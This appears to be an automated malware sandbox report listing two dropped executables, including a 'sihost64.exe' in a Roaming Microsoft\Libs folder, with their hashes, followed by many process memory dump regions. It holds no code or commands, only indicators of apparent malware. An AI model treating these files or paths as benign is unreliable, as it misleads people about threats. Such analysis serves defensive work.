C:\Users\Admin\AppData\Local\Temp\setup.exe

Filesize
869KB

MD5
01ad10e59fa396af2d5443c5a14c1b21

SHA1
f209a4f0bb2a96e3ee6a55689e7f00e79c04f722

SHA256
bef1cffaba8186ce62265e0b322ca9fd9326a8929591df569a4953456c752137

SHA512
1e067ade999ff933a644fde66c6ab9abb8a960ce1c8064368adcde4c09d924bd22d1b43c68b7c968e982fc75937969a2876e9e2a024f72e693f9ba397d449e02

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe

Filesize
7KB

MD5
be0b4b1c809dc419f44b990378cbae31

SHA1
5c40c342e0375d8ca7e4cc4e1b81b7ef20a22806

SHA256
530bd3b9ec17f111b0658fddeb4585cd6bf6edb1561bdebd1622527c36a63f53

SHA512
5ce316cfe5e25b0a54ceb157dee8f85e2c7825d91a0cd5fae0500b68b85dd265903582728d4259428d2e44b561423dac1499edcf0606ac0f78e8485ce3c0af24

Download Submit
memory/824-150-0x000000006B280000-0x000000006B2A6000-memory.dmp

Filesize
152KB

Download
memory/824-63-0x000000006B280000-0x000000006B2A6000-memory.dmp

Filesize
152KB

Download
memory/824-65-0x0000000000400000-0x000000000051D000-memory.dmp

Filesize
1.1MB

Download
memory/824-66-0x0000000000400000-0x000000000051D000-memory.dmp

Filesize
1.1MB

Download
memory/824-67-0x0000000000400000-0x000000000051D000-memory.dmp

Filesize
1.1MB

Download
memory/824-68-0x0000000000400000-0x000000000051D000-memory.dmp

Filesize
1.1MB

Download
memory/824-69-0x0000000000400000-0x000000000051D000-memory.dmp

Filesize
1.1MB

Download
memory/824-61-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/824-60-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/824-56-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/824-58-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/824-59-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/824-54-0x00000000007A0000-0x000000000082F000-memory.dmp

Filesize
572KB

Download
memory/824-55-0x000000006B440000-0x000000006B4CF000-memory.dmp

Filesize
572KB

Download
memory/824-156-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/824-51-0x000000006B440000-0x000000006B4CF000-memory.dmp

Filesize
572KB

Download
memory/824-154-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/824-149-0x0000000000400000-0x000000000051D000-memory.dmp

Filesize
1.1MB

Download
memory/824-155-0x000000006EB40000-0x000000006EB63000-memory.dmp

Filesize
140KB

Download
memory/824-53-0x000000006B440000-0x000000006B4CF000-memory.dmp

Filesize
572KB

Download
memory/824-47-0x000000006B280000-0x000000006B2A6000-memory.dmp

Filesize
152KB

Download
memory/824-64-0x0000000000400000-0x000000000051D000-memory.dmp

Filesize
1.1MB

Download
memory/824-36-0x0000000000400000-0x000000000051D000-memory.dmp

Filesize
1.1MB

Download
memory/824-151-0x000000006B440000-0x000000006B4CF000-memory.dmp

Filesize
572KB

Download
memory/824-62-0x000000006B280000-0x000000006B2A6000-memory.dmp

Filesize
152KB

Download
memory/1292-105-0x0000000000EF0000-0x0000000000EF6000-memory.dmp

Filesize
24KB

Download
memory/1292-99-0x0000000000EC0000-0x0000000000EE8000-memory.dmp

Filesize
160KB

Download
memory/1292-102-0x000000001B6B0000-0x000000001B6C0000-memory.dmp

Filesize
64KB

Download
memory/1292-94-0x0000000000EB0000-0x0000000000EB6000-memory.dmp

Filesize
24KB

Download
memory/1292-93-0x00007FFAB9490000-0x00007FFAB9F51000-memory.dmp

Filesize
10.8MB

Download
memory/1292-91-0x00000000007D0000-0x0000000000808000-memory.dmp

Filesize
224KB

Download
memory/1292-152-0x00007FFAB9490000-0x00007FFAB9F51000-memory.dmp

Filesize
10.8MB

Download
memory/1716-195-0x00007FFAB9490000-0x00007FFAB9F51000-memory.dmp

Filesize
10.8MB

Download
memory/1716-191-0x00007FFAB9490000-0x00007FFAB9F51000-memory.dmp

Filesize
10.8MB

Download
memory/1716-220-0x00007FFAB9490000-0x00007FFAB9F51000-memory.dmp

Filesize
10.8MB

Download
memory/1716-196-0x000000001CA70000-0x000000001CA80000-memory.dmp

Filesize
64KB

Download
memory/1808-177-0x000000001C680000-0x000000001C690000-memory.dmp

Filesize
64KB

Download
memory/1808-117-0x00000000001F0000-0x0000000000200000-memory.dmp

Filesize
64KB

Download
memory/1808-175-0x00000000027D0000-0x00000000027DE000-memory.dmp

Filesize
56KB

Download
memory/1808-176-0x0000000002800000-0x0000000002812000-memory.dmp

Filesize
72KB

Download
memory/1808-153-0x00007FFAB9490000-0x00007FFAB9F51000-memory.dmp

Filesize
10.8MB

Download
memory/1808-190-0x00007FFAB9490000-0x00007FFAB9F51000-memory.dmp

Filesize
10.8MB

Download
memory/1808-174-0x00007FFAB9490000-0x00007FFAB9F51000-memory.dmp

Filesize
10.8MB

Download
memory/1924-169-0x0000000002AF0000-0x0000000002B00000-memory.dmp

Filesize
64KB

Download
memory/1924-103-0x00007FFAB9490000-0x00007FFAB9F51000-memory.dmp

Filesize
10.8MB

Download
memory/1924-97-0x0000000002AF0000-0x0000000002B00000-memory.dmp

Filesize
64KB

Download
memory/1924-89-0x0000000000930000-0x0000000000938000-memory.dmp

Filesize
32KB

Download
memory/1924-171-0x00007FFAB9490000-0x00007FFAB9F51000-memory.dmp

Filesize
10.8MB

Download
memory/2008-128-0x0000000002490000-0x0000000002574000-memory.dmp

Filesize
912KB

Download
memory/2016-96-0x00000000732D0000-0x0000000073A80000-memory.dmp

Filesize
7.7MB

Download
memory/2016-130-0x00000000732D0000-0x0000000073A80000-memory.dmp

Filesize
7.7MB

Download
memory/2016-92-0x0000000000AA0000-0x0000000000B8E000-memory.dmp

Filesize
952KB

Download
memory/2100-170-0x0000000004960000-0x00000000049FD000-memory.dmp

Filesize
628KB

Download
memory/2100-168-0x0000000000400000-0x0000000002CC2000-memory.dmp

Filesize
40.8MB

Download
memory/2100-172-0x0000000002F10000-0x0000000003010000-memory.dmp

Filesize
1024KB

Download
memory/2100-143-0x0000000000400000-0x0000000002CC2000-memory.dmp

Filesize
40.8MB

Download
memory/2100-104-0x0000000002F10000-0x0000000003010000-memory.dmp

Filesize
1024KB

Download
memory/2100-101-0x0000000004960000-0x00000000049FD000-memory.dmp

Filesize
628KB

Download
memory/2832-211-0x0000000000480000-0x0000000000486000-memory.dmp

Filesize
24KB

Download
memory/2832-214-0x000000001C150000-0x000000001C160000-memory.dmp

Filesize
64KB

Download
memory/2832-232-0x00007FFAB9490000-0x00007FFAB9F51000-memory.dmp

Filesize
10.8MB

Download
memory/2832-212-0x00007FFAB9490000-0x00007FFAB9F51000-memory.dmp

Filesize
10.8MB

Download
memory/3544-123-0x0000000000400000-0x0000000002C66000-memory.dmp

Filesize
40.4MB

Download
memory/3544-98-0x0000000002D70000-0x0000000002E70000-memory.dmp

Filesize
1024KB

Download
memory/3544-100-0x0000000004770000-0x0000000004779000-memory.dmp

Filesize
36KB

Download
memory/3544-166-0x0000000000400000-0x0000000000409000-memory.dmp

Filesize
36KB

Download
memory/3544-167-0x0000000004770000-0x0000000004779000-memory.dmp

Filesize
36KB

Download
memory/3640-218-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/3640-227-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/3640-216-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/3640-222-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/3640-219-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/3640-223-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/3640-224-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/3640-225-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/3640-226-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/3640-221-0x0000000001FC0000-0x0000000001FE0000-memory.dmp

Filesize
128KB

Download
memory/3640-228-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/3640-229-0x0000000013900000-0x0000000013940000-memory.dmp

Filesize
256KB

Download
memory/3640-230-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/3640-240-0x0000000013F50000-0x0000000013F70000-memory.dmp

Filesize
128KB

Download
memory/3640-234-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/3640-236-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/3640-237-0x0000000013F50000-0x0000000013F70000-memory.dmp

Filesize
128KB

Download
memory/3892-141-0x0000000000850000-0x0000000000934000-memory.dmp

Filesize
912KB

Download